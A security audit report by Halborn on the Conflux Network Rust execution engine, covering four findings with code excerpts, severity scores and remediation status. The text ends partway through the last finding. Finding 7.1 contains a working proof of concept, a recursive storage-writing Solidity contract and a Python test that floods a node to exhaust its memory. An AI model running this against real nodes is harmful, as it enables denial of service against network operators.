// Security Assessment

06.16.2025 - 07.14.2025

# VM Execution Module and Ledger State Interface

*Conflux Network*

HALBORN

# VM Execution Module and Ledger State Interface - Conflux Network

Prepared by: HALBORN

Last Updated 09/08/2025

Date of Engagement: June 16th, 2025 - July 14th, 2025

## Summary

**100%** OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

| ALL FINDINGS | CRITICAL | HIGH | MEDIUM | LOW | INFORMATIONAL |
|---|---|---|---|---|---|
| 4 | 0 | 0 | 1 | 1 | 2 |

## TABLE OF CONTENTS


1. Introduction
2. Assessment summary
3. Test approach and methodology
4. Risk methodology
5. Scope
6. Assessment summary & findings overview
7. Findings & Tech Details
   - 7.1 Potential memory-dos via writecheckpointlayer
   - 7.2 G1/g2 addition precompiles omit subgroup checks
   - 7.3 Mis-set sponsorship flags under cip-145
   - 7.4 Debug api misconfiguration can trigger tracer panics or memory exhaustion

## 1. Introduction

`Conflux` engaged Halborn to conduct a security assessment of the `execution module implementation` from their node, beginning on June 16th and concluding on July 14th, 2025. This security assessment was scoped to the smart contracts in the **Conflux Rust GitHub repository**. Commit hashes and further details can be found in the **Scope** section of this report.

Conflux low-level execution engine reproduces Ethereum-compatible semantics and supports Conflux-specific protocol extensions (CIPs). Its purpose is to enable the execution of EVM bytecode in a way that integrates with Conflux's consensus model, sponsorship system, and storage collateral accounting. The engine is responsible for all aspects of transaction execution, including gas computation, memory handling, and call-frame management.

## 2. Assessment Summary

The team at Halborn assigned a full-time security engineer to verify the security of the project. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that the EVM runtime reproduces Ethereum-compatible behavior.
- Identify potential vulnerabilities related to memory handling, context switching, and runtime state isolation.
- Verify the correct and secure implementation of Conflux-specific extensions.

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were partially addressed by the `Conflux team`. The main ones are the following:

- `To prevent memory exhaustion, it is recommended to cap the number of WriteCheckpointLayer entries per transaction, implement a memory guard, and tune jemalloc to release memory more aggressively.`
- `Optional subgroup checks should be added to the BLS12-381 addition precompiles, or at minimum clearly documented, so that developers can apply appropriate validation in security-sensitive use cases.`

## 3. Test Approach And Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

- Research into architecture, purpose, and use of the platform.
- Manual code read and walk through.
- Manual Assessment of use and safety for the critical Rust variables and functions in scope to identify any arithmetic related vulnerability classes.
- Architecture related logical controls.
- Cross contract call controls.
- Scanning of Rust files for vulnerabilities (`cargo audit`)
- Review and improvement of integration tests.
- Verification of integration tests and implementation of new ones.

# 4. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

## 4.1 EXPLOITABILITY

### ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

### ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

### ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

### METRICS:

| EXPLOITABILITY METRIC ($M_E$) | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Attack Origin (AO) | Arbitrary (AO:A)<br>Specific (AO:S) | 1<br>0.2 |
| Attack Cost (AC) | Low (AC:L)<br>Medium (AC:M)<br>High (AC:H) | 1<br>0.67<br>0.33 |

| EXPLOITABILITY METRIC ($M_E$) | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Attack Complexity (AX) | Low (AX:L)<br>Medium (AX:M)<br>High (AX:H) | 1<br>0.67<br>0.33 |

Exploitability $E$ is calculated using the following formula:

$$E = \prod m_e$$

## 4.2 IMPACT

### CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

### INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

### AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

### DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

### YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

### METRICS:

| IMPACT METRIC ($M_I$) | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Confidentiality (C) | None (I:N)<br>Low (I:L)<br>Medium (I:M)<br>High (I:H)<br>Critical (I:C) | 0<br>0.25<br>0.5<br>0.75<br>1 |

| IMPACT METRIC ($M_I$) | METRIC VALUE | NUMERICAL VALUE |
|---|---|---|
| Integrity (I) | None (I:N)<br>Low (I:L)<br>Medium (I:M)<br>High (I:H)<br>Critical (I:C) | 0<br>0.25<br>0.5<br>0.75<br>1 |
| Availability (A) | None (A:N)<br>Low (A:L)<br>Medium (A:M)<br>High (A:H)<br>Critical (A:C) | 0<br>0.25<br>0.5<br>0.75<br>1 |
| Deposit (D) | None (D:N)<br>Low (D:L)<br>Medium (D:M)<br>High (D:H)<br>Critical (D:C) | 0<br>0.25<br>0.5<br>0.75<br>1 |
| Yield (Y) | None (Y:N)<br>Low (Y:L)<br>Medium (Y:M)<br>High (Y:H)<br>Critical (Y:C) | 0<br>0.25<br>0.5<br>0.75<br>1 |

Impact $I$ is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

## 4.3 SEVERITY COEFFICIENT

### REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

### SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

### METRICS:

| SEVERITY COEFFICIENT ($C$) | COEFFICIENT VALUE | NUMERICAL VALUE |
|---|---|---|
| Reversibility ($r$) | None (R:N)<br>Partial (R:P)<br>Full (R:F) | 1<br>0.5<br>0.25 |
| Scope ($s$) | Changed (S:C)<br>Unchanged (S:U) | 1.25<br>1 |

Severity Coefficient $C$ is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score $S$ is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

| SEVERITY | SCORE VALUE RANGE |
|---|---|
| Critical | 9 - 10 |
| High | 7 - 8.9 |
| Medium | 4.5 - 6.9 |
| Low | 2 - 4.4 |
| Informational | 0 - 1.9 |

## 5. SCOPE

REPOSITORY

(a) Repository: conflux-rust

(b) Assessed Commit ID: 055fbb5

(c) Items in scope:

- crates/execution/executor/src/spec.rs
- crates/execution/executor/src/substate.rs
- crates/execution/executor/src/internal_contract/contracts/params_control.rs
- crates/execution/executor/src/internal_contract/contracts/pos.rs
- crates/execution/executor/src/internal_contract/contracts/staking.rs
- crates/execution/executor/src/internal_contract/contracts/cross_space.rs
- crates/execution/executor/src/internal_contract/contracts/mod.rs
- crates/execution/executor/src/internal_contract/contracts/future.rs
- crates/execution/executor/src/internal_contract/contracts/sponsor.rs
- crates/execution/executor/src/internal_contract/contracts/system_storage.rs
- crates/execution/executor/src/internal_contract/contracts/admin.rs
- crates/execution/executor/src/internal_contract/contracts/context.rs
- crates/execution/executor/src/internal_contract/impls/params_control.rs
- crates/execution/executor/src/internal_contract/impls/pos.rs
- crates/execution/executor/src/internal_contract/impls/staking.rs
- crates/execution/executor/src/internal_contract/impls/cross_space.rs
- crates/execution/executor/src/internal_contract/impls/mod.rs
- crates/execution/executor/src/internal_contract/impls/sponsor.rs
- crates/execution/executor/src/internal_contract/impls/admin.rs
- crates/execution/executor/src/internal_contract/impls/context.rs
- crates/execution/executor/src/internal_contract/components/storage_layout.rs
- crates/execution/executor/src/internal_contract/components/event.rs
- crates/execution/executor/src/internal_contract/components/mod.rs
- crates/execution/executor/src/internal_contract/components/function.rs
- crates/execution/executor/src/internal_contract/components/contract.rs
- crates/execution/executor/src/internal_contract/components/executable.rs
- crates/execution/executor/src/internal_contract/components/trap_result.rs
- crates/execution/executor/src/internal_contract/components/contract_map.rs
- crates/execution/executor/src/internal_contract/components/context.rs
- crates/execution/executor/src/internal_contract/components/activation.rs
- crates/execution/executor/src/internal_contract/mod.rs
- crates/execution/executor/src/internal_contract/utils.rs
- crates/execution/executor/src/lib.rs
- crates/execution/executor/src/observer/drain_trace.rs
- crates/execution/executor/src/observer/tracer_trait.rs
- crates/execution/executor/src/observer/checkpoint_tracer.rs

- crates/execution/executor/src/observer/as_tracer.rs
- crates/execution/executor/src/observer/mod.rs
- crates/execution/executor/src/observer/internal_transfer_tracer.rs
- crates/execution/executor/src/observer/call_tracer.rs
- crates/execution/executor/src/observer/set_auth_tracer.rs
- crates/execution/executor/src/observer/storage_tracer.rs
- crates/execution/executor/src/observer/opcode_tracer.rs
- crates/execution/executor/src/state/global_stat.rs
- crates/execution/executor/src/state/checkpoints/lazy_discarded_vec.rs
- crates/execution/executor/src/state/checkpoints/mod.rs
- crates/execution/executor/src/state/checkpoints/checkpoint_entry.rs
- crates/execution/executor/src/state/mod.rs
- crates/execution/executor/src/state/overlay_account/account_entry.rs
- crates/execution/executor/src/state/overlay_account/state_override.rs
- crates/execution/executor/src/state/overlay_account/commit.rs
- crates/execution/executor/src/state/overlay_account/checkpoints.rs
- crates/execution/executor/src/state/overlay_account/factory.rs
- crates/execution/executor/src/state/overlay_account/staking.rs
- crates/execution/executor/src/state/overlay_account/collateral.rs
- crates/execution/executor/src/state/overlay_account/ext_fields.rs
- crates/execution/executor/src/state/overlay_account/mod.rs
- crates/execution/executor/src/state/overlay_account/sponsor.rs
- crates/execution/executor/src/state/overlay_account/storage.rs
- crates/execution/executor/src/state/overlay_account/basic.rs
- crates/execution/executor/src/state/state_object/state_override.rs
- crates/execution/executor/src/state/state_object/commit.rs
- crates/execution/executor/src/state/state_object/checkpoints.rs
- crates/execution/executor/src/state/state_object/contract_manager.rs
- crates/execution/executor/src/state/state_object/pos.rs
- crates/execution/executor/src/state/state_object/save.rs
- crates/execution/executor/src/state/state_object/staking.rs
- crates/execution/executor/src/state/state_object/collateral.rs
- crates/execution/executor/src/state/state_object/mod.rs
- crates/execution/executor/src/state/state_object/storage_entry.rs
- crates/execution/executor/src/state/state_object/reward.rs
- crates/execution/executor/src/state/state_object/sponsor.rs
- crates/execution/executor/src/state/state_object/global_statistics.rs
- crates/execution/executor/src/state/state_object/cache_layer.rs
- crates/execution/executor/src/state/state_object/basic_fields.rs
- crates/execution/executor/src/state/state_object/warm.rs
- crates/execution/executor/src/machine/vm_factory.rs
- crates/execution/executor/src/machine/mod.rs
- crates/execution/executor/src/macros.rs
- crates/execution/executor/src/stack/resumable.rs
- crates/execution/executor/src/stack/frame_local.rs
- crates/execution/executor/src/stack/stack_info.rs

- crates/execution/executor/src/stack/frame_return.rs
- crates/execution/executor/src/stack/frame_invoke.rs
- crates/execution/executor/src/stack/frame_start.rs
- crates/execution/executor/src/stack/mod.rs
- crates/execution/executor/src/stack/executable.rs
- crates/execution/executor/src/stack/resources.rs
- crates/execution/executor/src/builtin/ethereum_trusted_setup_points.rs
- crates/execution/executor/src/builtin/price_plan.rs
- crates/execution/executor/src/builtin/g1_points.bin
- crates/execution/executor/src/builtin/kzg_point_evaluations.rs
- crates/execution/executor/src/builtin/g2_points.bin
- crates/execution/executor/src/builtin/mod.rs
- crates/execution/executor/src/builtin/blake2f.rs
- crates/execution/executor/src/builtin/executable.rs
- crates/execution/executor/src/builtin/bls12_381/consts.rs
- crates/execution/executor/src/builtin/bls12_381/g1_add.rs
- crates/execution/executor/src/builtin/bls12_381/map_fp_to_g1.rs
- crates/execution/executor/src/builtin/bls12_381/g2_msm.rs
- crates/execution/executor/src/builtin/bls12_381/map_fp2_to_g2.rs
- crates/execution/executor/src/builtin/bls12_381/g1.rs
- crates/execution/executor/src/builtin/bls12_381/g2_add.rs
- crates/execution/executor/src/builtin/bls12_381/mod.rs
- crates/execution/executor/src/builtin/bls12_381/g1_msm.rs
- crates/execution/executor/src/builtin/bls12_381/g2.rs
- crates/execution/executor/src/builtin/bls12_381/pairing.rs
- crates/execution/executor/src/builtin/bls12_381/msm_gas.rs
- crates/execution/executor/src/builtin/bls12_381/utils.rs
- crates/execution/executor/src/context.rs
- crates/execution/executor/src/executive/executed.rs
- crates/execution/executor/src/executive/execution_outcome.rs
- crates/execution/executor/src/executive/transact_options.rs
- crates/execution/executor/src/executive/mod.rs
- crates/execution/executor/src/executive/fresh_executive.rs
- crates/execution/executor/src/executive/pre_checked_executive.rs
- crates/execution/vm-types/src/spec.rs
- crates/execution/vm-types/src/instruction_result.rs
- crates/execution/vm-types/src/error.rs
- crates/execution/vm-types/src/env.rs
- crates/execution/vm-types/src/interpreter_info.rs
- crates/execution/vm-types/src/lib.rs
- crates/execution/vm-types/src/return_data.rs
- crates/execution/vm-types/src/call_create_type.rs
- crates/execution/vm-types/src/action_params.rs
- crates/execution/vm-types/src/context.rs
- crates/execution/vm-interpreter/src/interpreter/memory.rs
- crates/execution/vm-interpreter/src/interpreter/shared_cache.rs

- crates/execution/vm-interpreter/src/interpreter/mod.rs
- crates/execution/vm-interpreter/src/interpreter/gasometer.rs
- crates/execution/vm-interpreter/src/interpreter/stack.rs
- crates/execution/vm-interpreter/src/interpreter/informant.rs
- crates/execution/vm-interpreter/src/factory.rs
- crates/execution/vm-interpreter/src/instructions.rs
- crates/execution/vm-interpreter/src/evm.rs
- crates/execution/vm-interpreter/src/vmtype.rs
- crates/execution/vm-interpreter/src/lib.rs
- crates/execution/geth-tracer/readme.md
- crates/execution/geth-tracer/src/types.rs
- crates/execution/geth-tracer/src/config.rs
- crates/execution/geth-tracer/src/gas.rs
- crates/execution/geth-tracer/src/lib.rs
- crates/execution/geth-tracer/src/fourbyte.rs
- crates/execution/geth-tracer/src/geth_tracer.rs
- crates/execution/geth-tracer/src/arena.rs
- crates/execution/geth-tracer/src/geth_builder.rs
- crates/execution/geth-tracer/src/tracing_inspector.rs
- crates/execution/geth-tracer/src/utils.rs

**Out-of-Scope:** Third party dependencies.

REMEDIATION COMMIT ID:

- 02d7be8
- https://github.com/Conflux-Chain/conflux-rust/pull/3297

**Out-of-Scope:** New features/implementations after the remediation commit IDs.

## 6. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

| CRITICAL | HIGH | MEDIUM | LOW |
|---|---|---|---|
| 0 | 0 | 1 | 1 |

| INFORMATIONAL |
|---|
| 2 |

| SECURITY ANALYSIS | RISK LEVEL | REMEDIATION DATE |
| --- | --- | --- |
| POTENTIAL MEMORY-DOS VIA WRITECHECKPOINTLAYER | MEDIUM | RISK ACCEPTED - 08/11/2025 |
| G1/G2 ADDITION PRECOMPILES OMIT SUBGROUP CHECKS | LOW | RISK ACCEPTED - 07/30/2025 |
| MIS-SET SPONSORSHIP FLAGS UNDER CIP-145 | INFORMATIONAL | SOLVED - 07/30/2025 |
| DEBUG API MISCONFIGURATION CAN TRIGGER TRACER PANICS OR MEMORY EXHAUSTION | INFORMATIONAL | SOLVED - 07/30/2025 |

# 7. FINDINGS & TECH DETAILS

## 7.1 POTENTIAL MEMORY-DOS VIA WRITECHECKPOINTLAYER

// MEDIUM

### Description

Every `CALL / DELEGATECALL / CREATE` execution pushes a new `WriteCheckpointLayer` (WCL) HashMap onto the executor stack. A malicious contract can trigger deep recursion (max. 1024) and perform numerous `SSTORE` operations per frame (limited by gas), causing the overlay to grow significantly in memory. These allocations persist until the end of the transaction, and due to **jemalloc's** page management, the node process's memory footprint (as reflected by its resident set size (RSS)) may remain elevated even after completion.

In theory, repeatedly injecting such high-gas transactions into consecutive blocks could incrementally increase the node's memory usage until it exceeds system constraints (e.g., out-of-memory or hitting a cgroup cap), leading to node termination and denial of service.

However, the practical feasibility of this attack is low. It would require:

- Locking a large amount of CFX as storage collateral,
- Sustained gas expenditure across multiple blocks,
- Sufficient block gas limits to accommodate the attack payloads, and
- The absence of proper memory constraints or safeguards at the node level, and
- The node running on limited RAM (i.e. a "small" node with low available memory).

Under typical economic and operational conditions, the scenario is considered a theoretical resource exhaustion edge case rather than a viable DoS vector.

### Code Location

Code of `WriteCheckpointLayer` struct from **crates/execution/executor/src/state/overlay_account/checkpoints.rs** file:

```
18 pub struct WriteCheckpointLayer<K: Hash + Clone + Eq, T: Clone> {
19     storage_write: HashMap<K, CheckpointEntry<T>>,
20     state_checkpoint_id: usize,
21 }
```

Code of `notify_cache_change` function from **crates/execution/executor/src/state/overlay_account/checkpoints.rs** file:

```
53 fn notify_cache_change(&mut self, key: K, old_value: Option<T>) {
54     self.storage_write
55         .entry(key)
56         .or_insert(CheckpointEntry::from_cache(old_value));
57 }
```

**Proof of Concept**

## Scenario:

A malicious contract (MemoryDoS.sol) is deployed to a local Conflux node running with default settings (no cgroup/memory caps, block gas-limit ≈27 000 000). The contract's bomb(depth, width) function recursively:
1. Writes `width` unique storage slots per frame (SSTORE),
2. Calls itself to create a new `WriteCheckpointLayer` for each nested frame, up to depth levels.
By choosing depth = 45 and width = 45, each transaction pushes ~2 025 new entries into each frame's WriteCheckpointLayer, consuming nearly the full gas limit and locking storage collateral.

## Test:

Test file: memory_dos_test.py

```
import pytest
import subprocess
import psutil
from cfx_utils import CFX
import re, requests
from typing import Type
from integration_tests.conflux.rpc import RpcClient
from integration_tests.test_framework.test_framework import ConfluxTestFramework
import time

# Constants
ATTACK_GAS = 27_000_000        # Near block gas limit
ATTACK_STORE = 400_000
METHOD_ID_BOMB = "0x6de2c0c4"
BYTECODE_PATH = "contracts/MemoryDoS.bin"

# Tune how many rounds of attack transactions to send.  Each round rewrites the
# same set of 2025 storage slots (45×45) so it consumes negligible additional
# collateral but still triggers fresh, large WriteCheckpointLayer hash-maps.
ROUNDS = 200

# Threshold (in MB) considered dangerous; the test fails if memory growth
# stays below this value so that CI highlights the issue.
DANGEROUS_DELTA_MB = 50

# Calculate the total RSS of all conflux* processes in MB
def total_conflux_rss_mb():
    """Return aggregated RSS of all conflux* processes in MB."""
    rss = 0
    for p in psutil.process_iter(['name', 'memory_info']):
        try:
            if p.info['name'] and 'conflux' in p.info['name']:
                rss += p.info['memory_info'].rss
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            pass
    return rss / (1024 * 1024)


@pytest.fixture(scope="module")
def framework_class() -> Type[ConfluxTestFramework]:
    class DefaultFramework(ConfluxTestFramework):
        def set_test_params(self):
            self.num_nodes = 1

        def setup_network(self):
            # Start nodes based on test parameters
            self.setup_nodes()
            from integration_tests.conflux.rpc import RpcClient
            self.rpc = RpcClient(self.nodes[0])

    return DefaultFramework
```

```python
def test_memory_dos_with_monitor(cw3, core_accounts, network):
    print("=== Memory DoS Monitor Test ===")

    attacker = core_accounts[0]
    # Load bytecode
    with open(BYTECODE_PATH, "r") as f:
        bytecode = f.read().strip()

    deploy_tx = cw3.cfx.send_transaction({
        "from": attacker.address,
        "to": "",
        "data": "0x" + bytecode,
        "gas": 5_000_000,
        "storageLimit": 1000,
    })
    receipt = deploy_tx.executed()
    contract_addr = receipt["contractCreated"]
    print(f"Contract deployed at {contract_addr}")

    depth = width = 45  # 45*45 = 2025 writes

    baseline = total_conflux_rss_mb()

    # Initial RSS of the Conflux node
    initial_rss = baseline
    print(f"Initial Conflux RSS: {baseline:.2f} MB")

    # Attacker's balance before the attack
    attacker_start = cw3.cfx.get_balance(attacker.address)

    gas_spent = 0
    for round_idx in range(1, ROUNDS + 1):
        depth_hex = format(depth, '064x')
        width_hex = format(width, '064x')
        call_data = METHOD_ID_BOMB + depth_hex + width_hex

        print(f"\n-- Round {round_idx}/{ROUNDS} --")
        tx_hash = cw3.cfx.send_transaction({
            "from": attacker.address,
            "to": contract_addr,
            "data": call_data,
            "gas": ATTACK_GAS,
            "storageLimit": ATTACK_STORE,
        })
        print(f"Sent tx {tx_hash}")
        try:
            receipt = tx_hash.executed()
            gas_spent += receipt['gasUsed']      # sum gas used
        except RuntimeError as err:
            print(f"  Execution failed (gas/storage): {err}")

        after = total_conflux_rss_mb()
        delta = after - baseline
        print(f"Memory RSS: {after:.2f} MB (Δ {delta:.2f} MB)")

        baseline = after

    # Final RSS of the Conflux node
    final_rss = baseline
    total_delta = final_rss - initial_rss
    print("=== Finished Memory Monitor Test ===")

    # Attacker's balance after the attack
    attacker_end = cw3.cfx.get_balance(attacker.address)

    print(f"Units of Gas spent:           {gas_spent}")
    drip_spent = gas_spent * receipt['effectiveGasPrice']   # integer in Drip
    print(f"Gas fee (CFX): {CFX(drip_spent)}")
    collateral_locked = attacker_start - attacker_end
    print(f"Collateral locked: {CFX(collateral_locked)}")
    print(f"Total memory delta: {total_delta} MB")

    assert total_delta >= DANGEROUS_DELTA_MB, (
        f"Expected at least {DANGEROUS_DELTA_MB} MB RSS increase to demonstrate danger, "
        f"got {total_delta:.2f} MB instead.")
```

Contract file: MemoryDoS.sol

```
contract MemoryDoS {
    function bomb(uint256 depth, uint256 width) external {
        if (depth == 0) return;

        for (uint256 i; i < width; ++i) {
            bytes32 k = keccak256(abi.encodePacked(depth, i, block.number));
            assembly { sstore(k, 1) }
        }

        this.bomb(depth - 1, width);
    }
}
```

Result:
After 50 rounds, the test prints:

```
=== Finished Memory Monitor Test ===
Units of Gas spent:           2365614800
Gas fee (CFX): 2.3656148E-9 CFX
Collateral locked: 25312.50000000405 CFX
Total memory delta: 205.83203125 MB
PASSED
```

- RSS increased by ~206 MB and remained elevated.
- No transaction reverted for gas or storage limits.
- Collateral locked (~25 k CFX) and gas fees (negligible in CFX) confirm the attack is executable.

This demonstrates unbounded growth of WriteCheckpointLayer and a potential Memory-DoS vector under default node configurations.

### BVSS

AO:A/AC:M/AX:M/R:N/S:U/C:N/A:C/I:N/D:N/Y:N (4.5)

### Recommendation

It is recommended to cap the total number of `WriteCheckpointLayer` entries per transaction, recycle or reuse internal `HashMaps` where possible, and implement a memory guard that aborts execution if transient memory usage by the execution overlay exceeds a safe threshold.
Additionally, configuring `jemalloc` with more aggressive decay settings can help reduce long-term RSS growth by ensuring memory pages are returned to the system more promptly. This serves as an operational hardening measure to complement in-node safeguards.

### Remediation Comment

**RISK ACCEPTED:** The **Conflux Network team** accepted the risk of this finding.

## 7.2 G1/G2 ADDITION PRECOMPILES OMIT SUBGROUP CHECKS

// LOW

### Description

The built-in BLS12-381 addition precompiles (`g1_add` and `g2_add`) allow adding two elliptic curve points without verifying that the result belongs to the expected subgroup. While the relevant Ethereum standard (EIP-2537) doesn't require this check, many cryptographic operations that depend on these functions—such as pairing-based checks or aggregated BLS signatures—assume that all points are in the correct group.

Although this does **not** affect the built-in pairing operation provided by the node—since it **does** perform subgroup checks internally—developers or DApp builders who make **direct use of** `g1_add` **or** `g2_add` may unknowingly rely on unsafe results, putting signature validation, key aggregation, or data integrity at risk if subgroup membership is implicitly assumed.

### Code Location

Code of `g1_add` function from **crates/execution/executor/src/builtin/bls12_381/g1_add.rs** file:

```rust
pub(super) fn g1_add(input: &[u8]) -> Result<Vec<u8>, String> {
    if input.len() != G1_ADD_INPUT_LENGTH {
        return Err(format!(
            "G1ADD input should be {G1_ADD_INPUT_LENGTH} bytes, was {}",
            input.len()
        ));
    }

    // NB: There is no subgroup check for the G1 addition precompile.
    //
    // So we set the subgroup checks here to `false`
    let a_aff = &extract_g1_input(&input[..G1_INPUT_ITEM_LENGTH], false)?;
    let b_aff = &extract_g1_input(&input[G1_INPUT_ITEM_LENGTH..], false)?;

    let mut b = blst_p1::default();
    // SAFETY: `b` and `b_aff` are blst values.
    unsafe { blst_p1_from_affine(&mut b, b_aff) };

    let mut p = blst_p1::default();
    // SAFETY: `p`, `b` and `a_aff` are blst values.
    unsafe { blst_p1_add_or_double_affine(&mut p, &b, a_aff) };

    let mut p_aff = blst_p1_affine::default();
    // SAFETY: `p_aff` and `p`` are blst values.
    unsafe { blst_p1_to_affine(&mut p_aff, &p) };

    let out = encode_g1_point(&p_aff);
    Ok(out)
}
```

### BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N (2.5)

### Recommendation

It is recommended to implement optional subgroup validation, such as through a CIP flag, feature toggle, or strict mode, for the `g1_add` and `g2_add` precompiles. At the very least, documentation should clearly state that the outputs are **not guaranteed** to lie in the prime-order subgroup. This helps ensure that developers who use these functions directly in security-critical contexts are aware of the risk and can apply explicit subgroup checks when needed.

### Remediation Comment

**RISK ACCEPTED:** The **Conflux Network team** accepted the risk of this finding.

## 7.3 MIS-SET SPONSORSHIP FLAGS UNDER CIP-145

// INFORMATIONAL

### Description

Within the `execution_error_fully_charged` function, from executor/src/executive/executed.rs file, the following logic is applied to all execution errors, regardless of their cause:

```
if spec.cip145 {
    gas_sponsor_paid = false;
}
```

When CIP-145 is enabled, the receipt field `gas_sponsor_paid` is unconditionally set to `false` for every "**fully-charged**" execution error (revert, invalid opcode, nonce overflow, etc.), even when a sponsor actually paid the gas. CIP-145 was intended to only affect the "**NotEnoughBalance**" path in `not_enough_balance_fee_charged`, but this check lives in the wrong function.

As a result, most failed transactions incorrectly report that no sponsorship occurred. While consensus state and fee deductions remain correct, this discrepancy can mislead DApps, explorers, and analytics tools that rely on sponsorship metadata, potentially impacting reward attribution or refund logic.

### Code Location

Code of `execution_error_fully_charged` function from **crates/execution/executor/src/executive/executed.rs** file:

```
114 pub(super) fn execution_error_fully_charged(
115     tx: &TransactionWithSignature, cost: CostInfo, ext_result: ExecutedExt,
116     spec: &Spec,
117 ) -> Self {
118     let mut storage_sponsor_paid = cost.storage_sponsored;
119     let mut gas_sponsor_paid = cost.gas_sponsored;
120
121     if !spec.cip78b {
122         gas_sponsor_paid = false;
123         storage_sponsor_paid = false;
124     }
125     if spec.cip145 {
126         gas_sponsor_paid = false;
127     }
128
129     let fee = tx.gas().saturating_mul(cost.gas_price);
130
131     let burnt_fee = spec
132         .cip1559
133         .then(|| tx.gas().saturating_mul(cost.burnt_gas_price));
134
135     Self {
136         gas_used: *tx.gas(),
137         gas_charged: *tx.gas(),
138         fee,
139         burnt_fee,
140         gas_sponsor_paid,
141         logs: vec![],
142         contracts_created: vec![],
143         storage_sponsor_paid,
144         storage_collateralized: Vec::new(),
145         storage_released: Vec::new(),
146         output: Default::default(),
147         base_gas: cost.base_gas,
```

```
            ext_result,
        }
    }
```

### BVSS

AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:N/D:N/Y:N (0.0)

### Recommendation

It is recommended to move the `gas_sponsor_paid = false` assignment into the `not_enough_balance_fee_charged` function, or ensure it is only applied when the specific error is `NotEnoughBalance`.

### Remediation Comment

**SOLVED**: The **Conflux Network team** has solved the issue by introducing an additional feature flag.

### Remediation Hash

https://github.com/Conflux-Chain/conflux-rust/commit/02d7be88f91c1dae647fe291c6984a1f3c0d1a23

## 7.4 DEBUG API MISCONFIGURATION CAN TRIGGER TRACER PANICS OR MEMORY EXHAUSTION

// INFORMATIONAL

### Description

When the `debug_*` RPC namespace is enabled, either intentionally or due to misconfiguration, two components of the `Geth-tracer` become vulnerable to denial-of-service conditions:

1. In `geth_tracer.rs`, the `to_instruction_result` function does not handle the `Error::InvalidAddress` variant and instead calls `todo!()`, which expands to a `panic!()` and crashes the node if triggered (e.g., during a `SELFDESTRUCT` refund to an invalid address).
2. In `tracing_inspector.rs`, enabling `"enableMemory": true` causes the tracer to clone the full memory buffer (`interp.mem().to_vec()`) at every opcode step. A malicious transaction that expands memory in a loop can cause the node to allocate gigabytes of RAM, leading to out-of-memory termination.

Neither issue is reachable under secure default configurations, both require `debug_traceTransaction` to be exposed and specifically invoked with unsafe parameters. However, operators running misconfigured or overly permissive nodes are at risk of remote DoS.

### Code Location

Code of `to_instruction_result` function from **crates/execution/geth-tracer/src/geth_tracer.rs** file:

```
423 pub fn to_instruction_result(frame_result: &FrameResult) -> InstructionResult {
424 let result = match frame_result {
425     Ok(r) => match r.apply_state {
426         true => InstructionResult::Return,
427         false => InstructionResult::Revert,
428     },
429     Err(err) => match err {
430         Error::OutOfGas => InstructionResult::OutOfGas,
431         Error::BadJumpDestination { .. } => InstructionResult::InvalidJump,
432         Error::BadInstruction { .. } => InstructionResult::OpcodeNotFound,
433         Error::StackUnderflow { .. } => InstructionResult::StackUnderflow,
434         Error::OutOfStack { .. } => InstructionResult::StackOverflow,
435         Error::SubStackUnderflow { .. } => {
436             InstructionResult::StackUnderflow
437         }
438         Error::OutOfSubStack { .. } => InstructionResult::StackOverflow,
439         Error::InvalidSubEntry => InstructionResult::NotActivated, //
440         Error::NotEnoughBalanceForStorage { .. } => {
441             InstructionResult::OutOfFunds
442         }
443         Error::ExceedStorageLimit => InstructionResult::OutOfGas, /* treat storage as gas */
444         Error::BuiltIn(_) => InstructionResult::PrecompileError,
445         Error::InternalContract(_) => InstructionResult::PrecompileError, /* treat internalContr
